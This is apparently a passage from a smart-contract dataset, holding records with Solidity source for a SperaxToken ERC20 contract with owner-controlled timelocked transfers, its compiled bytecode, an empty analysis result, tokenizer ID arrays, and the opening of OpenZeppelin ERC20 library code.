transferWithLock(address recipient, uint256 amount, uint256 releaseTime) public onlyOwner returns (bool) { require(recipient != address(0), "SperaxToken: transferWithLock to zero address"); require(releaseTime > block.timestamp, "SperaxToken: release time before lock time"); require(_timelock[recipient].releaseTime == 0, "SperaxToken: already locked"); TimeLock memory timelock = TimeLock({ releaseTime : releaseTime, amount : amount }); _timelock[recipient] = timelock; _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Release the specified `amount` of locked amount * @notice only Owner call */ function release(address account, uint256 releaseAmount) public onlyOwner { require(account != address(0), "SperaxToken: release zero address"); TimeLock storage timelock = _timelock[account]; timelock.amount = timelock.amount.sub(releaseAmount); if(timelock.amount == 0) { timelock.releaseTime = 0; } } /** * @dev Triggers stopped state. * @notice only Owner call */ function pause() public onlyOwner { _pause(); } /** * @dev Returns to normal state. * @notice only Owner call */ function unpause() public onlyOwner { _unpause(); } /** * @dev Batch transfer amount to recipient * @notice that excessive gas consumption causes transaction revert */ function batchTransfer(address[] memory recipients, uint256[] memory amounts) public { require(recipients.length > 0, "SperaxToken: least one recipient address"); require(recipients.length == amounts.length, "SperaxToken: number of recipient addresses does not match the number of tokens"); for(uint256 i = 0; i < recipients.length; ++i) { _transfer(_msgSender(), recipients[i], amounts[i]); } } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. * - accounts must not trigger the locked `amount` during the locked period. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal override { require(!paused(), "SperaxToken: token transfer while paused"); // Check whether the locked amount is triggered TimeLock storage timelock = _timelock[from]; if(timelock.releaseTime != 0 && balanceOf(from).sub(amount) < timelock.amount) { require(block.timestamp >= timelock.releaseTime, "SperaxToken: current time is before from account release time"); // Update the locked `amount` if the current time reaches the release time timelock.amount = balanceOf(from).sub(amount); if(timelock.amount == 0) { timelock.releaseTime = 0; } } super._beforeTokenTransfer(from, to, amount); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063a457c2d71161007c578063a457c2d7146106c3578063a9059cbb14610727578063c1708ad41461078b578063dd62ed3e146107ea578063de6baccb14610862578063f2fde38b146108d05761014d565b8063715018a61461045e57806379cc6790146104685780638456cb59146104b657806388d695b2146104c05780638da5cb5b1461060c57806395d89b41146106405761014d565b8063313ce56711610115578063313ce56714610329578063395093511461034a5780633f4ba83a146103ae57806342966c68146103b85780635c975abb146103e657806370a08231146104065761014d565b80630357371d1461015257806306fdde03146101a0578063095ea7b31461022357806318160ddd1461028757806323b872dd146102a5575b600080fd5b61019e6004803603604081101561016857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610914565b005b6101a8610ae3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e85780820151818401526020810190506101cd565b50505050905090810190601f1680156102155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61026f6004803603604081101561023957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b81565b60405180821515815260200191505060405180910390f35b61028f610c12565b6040518082815260200191505060405180910390f35b610311600480360360608110156102bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c1c565b60405180821515815260200191505060405180910390f35b610331610cf5565b604051808260ff16815260200191505060405180910390f35b6103966004803603604081101561036057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d08565b60405180821515815260200191505060405180910390f35b6103b6610dbb565b005b6103e4600480360360208110156103ce57600080fd5b8101908080359060200190929190505050610e8f565b005b6103ee610ea3565b60405180821515815260200191505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eba565b6040518082815260200191505060405180910390f35b610466610f02565b005b6104b46004803603604081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061108d565b005b6104be6110ef565b005b61060a600480360360408110156104d657600080fd5b81019080803590602001906401000000008111156104f357600080fd5b82018360208201111561050557600080fd5b8035906020019184602083028401116401000000008311171561052757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561058757600080fd5b82018360208201111561059957600080fd5b803590602001918460208302840111640100000000831117156105bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506111c3565b005b6106146112cb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106486112f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068857808201518184015260208101905061066d565b50505050905090810190601f1680156106b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61070f600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611393565b60405180821515815260200191505060405180910390f35b6107736004803603604081101561073d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611460565b60405180821515815260200191505060405180910390f35b6107cd600480360360208110156107a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061147e565b604051808381526020018281526020019250505060405180910390f35b61084c6004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114fd565b6040518082815260200191505060405180910390f35b6108b86004803603606081101561087857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611584565b60405180821515815260200191505060405180910390f35b610912600480360360208110156108e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061187a565b005b61091c611b61565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127316021913960400191505060405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050610abe828260010154611b1290919063ffffffff16565b8160010181905550600081600101541415610ade57600081600001819055505b505050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b795780601f10610b4e57610100808354040283529160200191610b79565b820191906000526020600020905b815481529060010190602001808311610b5c57829003601f168201915b505050505081565b600080610b95610b8f611b61565b856114fd565b1480610ba15750600082145b610bf6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001806128ae604a913960600191505060405180910390fd5b610c08610c01611b61565b8484611b69565b6001905092915050565b6000600554905090565b6000610c29848484611d60565b610cea84610c35611b61565b610ce5856040518060600160405280602881526020016127a660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c9b611b61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120219092919063ffffffff16565b611b69565b600190509392505050565b600460009054906101000a900460ff1681565b6000610db1610d15611b61565b84610dac8560016000610d26611b61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8a90919063ffffffff16565b611b69565b6001905092915050565b610dc3611b61565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e8d6120e1565b565b610ea0610e9a611b61565b826121d4565b50565b6000600660009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f0a611b61565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006110cc826040518060600160405280602a815260200161277c602a91396110bd866110b8611b61565b6114fd565b6120219092919063ffffffff16565b90506110e0836110da611b61565b83611b69565b6110ea83836121d4565b505050565b6110f7611b61565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6111c1612398565b565b600082511161121d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806127ce6028913960400191505060405180910390fd5b8051825114611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604e8152602001806127f6604e913960600191505060405180910390fd5b60005b82518110156112c6576112bb61128e611b61565b84838151811061129a57fe5b60200260200101518484815181106112ae57fe5b6020026020010151611d60565b80600101905061127a565b505050565b6000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561138b5780601f106113605761010080835404028352916020019161138b565b820191906000526020600020905b81548152906001019060200180831161136e57829003601f168201915b505050505081565b60006114566113a0611b61565b846114518560405180606001604052806025815260200161293560259139600160006113ca611b61565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120219092919063ffffffff16565b611b69565b6001905092915050565b600061147461146d611b61565b8484611d60565b6001905092915050565b60008061148961260e565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050806000015181602001519250925050915091565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061158e611b61565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611650576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001806126dc602d913960400191505060405180910390fd5b42821161172e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612752602a913960400191505060405180910390fd5b6000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154146117e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f537065726178546f6b656e3a20616c7265616479206c6f636b6564000000000081525060200191505060405180910390fd5b6117ee61260e565b604051806040016040528084815260200185815250905080600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015590505061186e611867611b61565b8686611d60565b60019150509392505050565b611882611b61565b73ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611944576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061266e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611b08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611b5483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612021565b905092915050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061288a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126946022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611de6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128656025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806126296023913960400191505060405180910390fd5b611e7783838361248c565b611ee2816040518060600160405280602681526020016126b6602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120219092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f75816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906120ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612093578082015181840152602081019050612078565b50505050905090810190601f1680156120c05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600660009054906101000a900460ff16612163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600660006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6121a7611b61565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561225a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806128446021913960400191505060405180910390fd5b6122668260008361248c565b6122d18160405180606001604052806022815260200161264c602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120219092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232881600554611b1290919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600660009054906101000a900460ff161561241b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600660006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861245f611b61565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b612494610ea3565b156124ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806127096028913960400191505060405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600081600001541415801561255f5750806001015461255d8361254f87610eba565b611b1290919063ffffffff16565b105b156125fd5780600001544210156125c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d8152602001806128f8603d913960400191505060405180910390fd5b6125dc826125ce86610eba565b611b1290919063ffffffff16565b81600101819055506000816001015414156125fc57600081600001819055505b5b612608848484611b5c565b50505050565b60405180604001604052806000815260200160008152509056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365537065726178546f6b656e3a207472616e73666572576974684c6f636b20746f207a65726f2061646472657373537065726178546f6b656e3a20746f6b656e207472616e73666572207768696c6520706175736564537065726178546f6b656e3a2072656c65617365207a65726f2061646472657373537065726178546f6b656e3a2072656c656173652074696d65206265666f7265206c6f636b2074696d65537065726178546f6b656e3a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365537065726178546f6b656e3a206c65617374206f6e6520726563697069656e742061646472657373537065726178546f6b656e3a206e756d626572206f6620726563697069656e742061646472657373657320646f6573206e6f74206d6174636820746865206e756d626572206f6620746f6b656e7345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a206368616e676520616c6c6f77616e63652075736520696e637265617365416c6c6f77616e6365206f72206465637265617365416c6c6f77616e636520696e7374656164537065726178546f6b656e3a2063757272656e742074696d65206973206265666f72652066726f6d206163636f756e742072656c656173652074696d6545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cc7284372a4c64408ad20acb7f1e430a4d9f8e6698daff9f2254a9d0465f8d7c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 21486, 18139, 2509, 2546, 22407, 2497, 2581, 2546, 2629, 27421, 2546, 2581, 2094, 23777, 2629, 7875, 18827, 2683, 4783, 2620, 2546, 19841, 2683, 17465, 2629, 9818, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,084
0x96315ef8f4ff8ffddbfa775e72d758aba340c7f4
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts@4.5.0/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts@4.5.0/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts@4.5.0/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts@4.5.0/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero 